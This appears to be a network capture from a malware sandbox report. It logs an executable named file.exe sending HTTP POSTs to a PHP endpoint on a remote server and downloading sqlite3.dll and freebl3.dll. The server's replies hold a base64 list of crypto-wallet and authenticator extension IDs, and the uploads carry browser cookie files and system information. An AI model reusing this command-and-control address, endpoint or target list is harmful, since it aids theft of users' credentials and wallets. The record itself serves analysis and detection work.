Oct 27, 2024 17:54:07.263887882 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 27, 2024 17:54:07.263916016 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 27, 2024 17:54:07.263933897 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Oct 27, 2024 17:54:07.263948917 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 27, 2024 17:54:07.263966084 CET	212	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25m
Oct 27, 2024 17:54:07.263993979 CET	1236	IN	Data Raw: 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 Data Ascii: a2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXR
Oct 27, 2024 17:54:07.264039040 CET	212	IN	Data Raw: 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 Data Ascii: YmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxi
Oct 27, 2024 17:54:07.264061928 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Oct 27, 2024 17:54:07.264096975 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Oct 27, 2024 17:54:07.277334929 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"fplugins------EGCFHDAKECFIDGDGDBKJ--
Oct 27, 2024 17:54:07.559369087 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 27, 2024 17:54:07.606152058 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.215.113.206 Content-Length: 7191 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 17:54:07.606224060 CET	7191	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 27, 2024 17:54:08.411791086 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:08.688941956 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:09.055612087 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49758	185.215.113.206	80	3572	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 17:54:22.518471003 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIIIIJKFCAAECAKFIEHC--
Oct 27, 2024 17:54:23.951047897 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:24.093408108 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="file"------GIJDAFBKFIECBGCAKECG--
Oct 27, 2024 17:54:24.880600929 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49853	185.215.113.206	80	3572	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 17:54:32.887928963 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAA Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 17:54:32.891355038 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 27, 2024 17:54:34.335608959 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:34.554158926 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Oct 27, 2024 17:54:35.525779963 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 17:54:36.439678907 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 17:54:36.788146019 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 27, 2024 17:54:36.788245916 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
